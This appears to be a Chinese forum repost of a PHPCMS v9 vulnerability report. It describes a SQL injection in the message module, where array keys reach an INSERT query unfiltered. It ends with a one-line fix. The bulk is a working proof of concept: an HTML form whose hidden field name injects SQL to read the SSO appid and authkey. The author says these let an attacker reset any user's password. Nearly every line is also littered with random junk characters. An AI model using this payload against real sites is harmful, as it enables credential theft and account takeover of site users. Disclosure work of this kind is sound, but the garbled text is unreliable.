|
|
简要描述:
+ D$ D+ Q/ H" x/ E- x( V+ [
- `( ~* k& o- ^+ Q0 `第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
/ ~2 x- Y' b4 f4 w- _8 k2 h6 X, y
明天再更新下一个漏洞。
3 Q: h1 ]3 q6 @" X4 [: I( o$ S4 [( R, k3 H详细说明:/ ^6 r7 O/ p5 C! C. q. I
在/phpcms9/phpcms/modules/message/index.php中有代码如下:$ {. n$ b4 e- d: O
2 R$ i2 D, }* Q+ H z0 x) h- ]/ h/ G
$messageid = $this->message_db->insert($_POST['info'],true);
9 s3 G. y9 ]) I5 ~, ^: ?) m. N A/ l3 }5 w
& h. r1 S% d& w5 M) ^8 Minsert方法是key value的,代码如下:$ u2 i( p' Q @8 A6 R
$ J6 J1 I1 o* P9 k( a- ?# ^
public function insert($data, $table, $return_insert_id = false, $replace = false) {
8 q1 c0 _3 K0 n0 A7 z9 @ if(!is_array( $data ) || $table == '' || count($data) == 0) {
: J% z* z. l' N) Q0 R% ~* b) c return false;
4 C4 M/ s* }. Z) l8 |) K5 s4 g }# e0 V6 X. h! m# J( v4 }5 M
# J; _8 Q1 C+ B3 c0 m: F% j) c6 {( \) ^
$fielddata = array_keys($data);
2 h5 A0 O) w9 U2 L% _$ P $valuedata = array_values($data);
, i* u& e: \9 d# I: n+ e# d) T array_walk($fielddata, array($this, 'add_special_char'));$ I y7 Y& j. }( t
array_walk($valuedata, array($this, 'escape_string'));3 r! S% V( q9 u0 j; B
0 N) g* i. D4 K' q $field = implode (',', $fielddata);' u6 [) ]# e h8 i' C$ R
$value = implode (',', $valuedata);8 Z' [; O( N# ]
! t6 K4 a1 t6 @' q/ j0 L
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';* J: k3 Y+ i) d6 O6 m
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
- Y) M& f$ i# j" y/ ~1 _ $return = $this->execute($sql);4 H( C: I, y8 ]* g+ d
return $return_insert_id ? $this->insert_id() : $return;
5 l0 d3 H" a5 T+ L# v }
3 k% b& f& ^4 f7 H6 G6 X( a; P" T5 }
) n, |) b- R# J5 i
嗯,很遗憾的是
% S: Z. M2 _: ?" j/ v u+ P# ?, `( Y" H4 z; i H: Y l
array_walk($fielddata, array($this, 'add_special_char'));( C# |5 m, o! p0 N: `; J2 W& j% k& r
; p. u( M+ y# e5 M* W
/ A3 o2 {- ^2 t. f Z+ |4 _
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。* U4 p3 T$ w# k: S7 ^
# x. C% _. |9 N& }9 ]7 ^
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。/ N# g& O& E n) E1 l
' G$ w, n4 F5 `0 M- p N2 v5 j漏洞证明: f2 ~* F% y2 Y5 v+ n' R
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
% C% z9 B+ K' h! @8 ~8 u! \$ l+ f$ c \) c; Z7 M; p3 U- C) U+ _
/ b/ a. L% \1 a6 V) f
表单如下:用户名什么的得自己改一改。
6 s9 q* z; U0 M6 G3 D7 h<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">! H1 U. f$ e$ g, o4 J
<table width="100%" cellspacing="0" class="table_form"> b1 z. [( e. ?
<tr>
3 r I, [# z: h2 i; m1 `. y<th>标 题:</th>
4 s6 \+ m6 Y8 h# r6 L<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td> _) T4 l6 l3 j' M4 j
</tr> / f0 _) @+ ?+ V- M% a
<tr>4 b) [: a) E( k$ P- j* x
<th>内 容:</th>
" e! F+ D" _8 F$ q! ?* P<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
; A& {- W$ j* c2 Z. x</tr>
7 Y& }3 \. _; a* l t4 o& |<input type="hidden" name="info[replyid]" value="2" />
j8 E! m- H$ K7 O) z( \<input type="hidden" name="info[send_to_id]" value="cc" /> + A/ ~; N; [4 [' W
<input type="hidden" name="info[send_from_id]" value="hh">( R# b8 S$ t, r7 L* r) ^
<!-- 漏洞的利用重点在这里开始 -->
7 c8 A" I% ]$ p8 N<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> + Z2 h9 G& w5 w- N% {4 S# d6 D
<!-- 漏洞的利用重点在这里结束 -->( E( S; \3 G# c; G6 \9 O
<tr>+ q1 G O8 z$ d% E, h x F
<th>验证码:</th>& u4 R7 D3 w. D9 M
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>5 W, Y1 m; K, R0 I
</tr>6 q' f/ B1 j; u9 `4 g& b& I8 @
<tr>
) i/ T3 `: t2 @3 |<td></td>& s# `, C# J: X T5 T# Y+ Z
<td colspan="2"><label>
/ P: U6 g+ P# J) N5 B' N6 g<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>2 h6 s& B! L9 m# i4 a `
</label></td>. m$ `9 p4 ?: [4 u) J
</tr>
2 N+ z9 C7 c; i$ `8 D; K1 X: _</table>
/ N ~ Z) }1 _3 H</form>
1 s2 q; p* {* q1 S0 R, g在add_special_char函数内对key做过滤就可以了。% {- l3 {' B5 l4 Y
" l7 c# ]5 f7 l
" f* L: j0 Y$ x2 M- ^8 i+ q, w7 e
! h. W- G; I" _' W J3 c+ t
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|